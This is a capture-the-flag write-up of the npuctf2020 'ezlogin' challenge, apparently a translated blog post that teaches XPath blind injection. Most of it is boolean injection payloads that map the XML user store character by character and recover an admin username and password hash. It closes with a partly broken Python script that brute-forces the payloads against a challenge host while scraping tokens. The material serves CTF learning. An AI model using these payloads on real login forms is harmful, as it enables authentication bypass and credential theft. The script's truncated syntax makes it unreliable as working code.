[npuctf2020] ezlogin XPath injection learning

[npuctf2020] ezlogin XPath injection learning

After entering this question, there is a simple login page. I took the imperial sword and didn't sweep out anything else. I tried a simple sql injection and didn't show any echo. If it exploded, he had a token that was refreshing all the time, so it would be a little troublesome. I shouldn't take the explosion to test others

Later, after reading other people's WP, I knew it was XPATH injection. I had never met it before and didn't know it very well, so I went to find a related article article Learn by the way

These are some basic syntax and introduction of XPATH

It can be seen from here that it is still very similar to sql injection, but XPATH injection seems to have no comment character to comment out the following ones, so we need to construct the closed single quotation marks

The content of the article will not be discussed in detail. Just take his blind injection steps of Xpath to practice

1. Judge the number of nodes from the root node:

'or count(/)=1  or ''='     ###The number of root nodes is 1
'or count(/*)=1 or ''='   ##There is only one child node under the root node, * represents the child node of the current node
##So count(/root)=count(/ *), and root is the child node of the root node

In both figures, we can see the obvious Boolean echo, indicating that there is only one node under its root

Let's see how many child nodes are under its root

You can see that there is a child node

2. Judge the length of child nodes under the root node:

'or string-length(name(/*[1]))=4 or ''='

The length of the child node is 4

3. Guess the name of the child node under the root node:

'or substring(name(/*[1]), 1, 1)='r'  or ''='
'or substring(name(/*[1]), 2, 1)='o'  or ''='
'or substring(name(/*[1]), 2, 1)='o'  or ''='
'or substring(name(/*[1]), 2, 1)='t'  or ''='

The root node name is root

Next, let's look at root's

1. Check the number of sub nodes under the root node

'or count(/root/*)=1 or ''=' 

2. Guess the name of the child node

'or substring(name(/root/*[1]), 1, 1)='a'  or ''='
'or substring(name(/root/*[1]), 1, 1)='c'  or ''='
'or substring(name(/root/*[1]), 1, 1)='c'  or ''='
'or substring(name(/root/*[1]), 1, 1)='o'  or ''='
'or substring(name(/root/*[1]), 1, 1)='u'  or ''='
'or substring(name(/root/*[1]), 1, 1)='n'  or ''='
'or substring(name(/root/*[1]), 1, 1)='t'  or ''='
'or substring(name(/root/*[1]), 1, 1)='s'  or ''='

Therefore, there is only one child node under the root node, namely accounts

Next, take a look at accounts

1. Look at the number of sub nodes of accounts

'or count(/root/accounts/*)=2 or ''=' 

You can see two

2. Judge the child node name

'or substring(name(/root/accounts/*[1]), 1, 1)='u'  or ''='
'or substring(name(/root/accounts/*[1]), 2, 1)='s'  or ''='
'or substring(name(/root/accounts/*[1]), 3, 1)='e'  or ''='
'or substring(name(/root/accounts/*[1]), 4, 1)='r'  or ''='

The first child node name is user

The second child node can be judged as above or as above

'or count(/accounts/user)=2  or ''='    user If there are two nodes, you can guess accounts Node structure, accounts The next two nodes are user node

So the second node name is also user

I won't go into detail here. Like the previous one, I'll add the statement of directly judging the node name to check the calculation

'or substring(name(/*), 1)='root'  or ''='
'or substring(name(/root/*), 1)='accounts'  or ''='
'or substring(name(/root/accounts/*), 1)='user'  or ''='
'or substring(name(/root/accounts/user/*[1]), 1)='id'  or ''='

The first user statement

'or count(/root/accounts/user[position()=1]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=1]/*[1]), 1)='id'  or ''='
'or substring(name(/root/accounts/user[position()=1]/*[2]), 1)='username'  or ''='
'or substring(name(/root/accounts/user[position()=1]/*[3]), 1)='password'  or ''='

Similarly, the second user statement

'or count(/root/accounts/user[position()=2]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=2]/*[1]), 1)='id'  or ''='
'or substring(name(/root/accounts/user[position()=2]/*[2]), 1)='username'  or ''='
'or substring(name(/root/accounts/user[position()=2]/*[3]), 1)='password'  or ''='

It can be seen that there are id, username and password under the two user nodes. Next, check the contents of these text nodes

'or substring(/root/accounts/user[2]/username/text(), 1, 1)='a'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 2, 1)='d'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 3, 1)='m'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 4, 1)='1'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 5, 1)='n'  or ''='

'or /root/accounts/user[position()=2]/username/text()='adm1n'  or ''=' 
'or /root/accounts/user[position()=1]/username/text()='guest'  or ''=' 

It can be seen from the above that there are two user names, one is guest and the other is adm1n. Next, focus on the password of adm1n

'or /root/accounts/user[position()=2]/password/text()='cf7414b5bdb2e65ee43083f4ddbc4d9f'  or ''='

The password of the user with the account number adm1n is cf7414b5bdb2e65ee43083f4ddbc4d9f. Note here that the password has to be decoded by md5. The correct password is gtfly123

Finally log in and have a look at the source code

Decrypt it to get flag is in /flag

Now that you have told us the path, go to the url and change it to the path of flag

Not very good. Try another php protocol. php and base are filtered here, so use case to bypass

Finally, decode the base64 to get the flag

Finally, post a big guy's script

import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'

head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #Guess root node name
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #Guess child node name
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #Guess the node of accounts
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #Guess user node
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #Run user name and password
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        r = s.post(url=url,headers=head,data=payload_username)

        if "Illegal operation" in r.text:

    if "Wrong user name or password!" in r.text:


Reference articles

Keywords: xpath SQL injection

Added by Nexy on Thu, 10 Feb 2022 23:17:39 +0200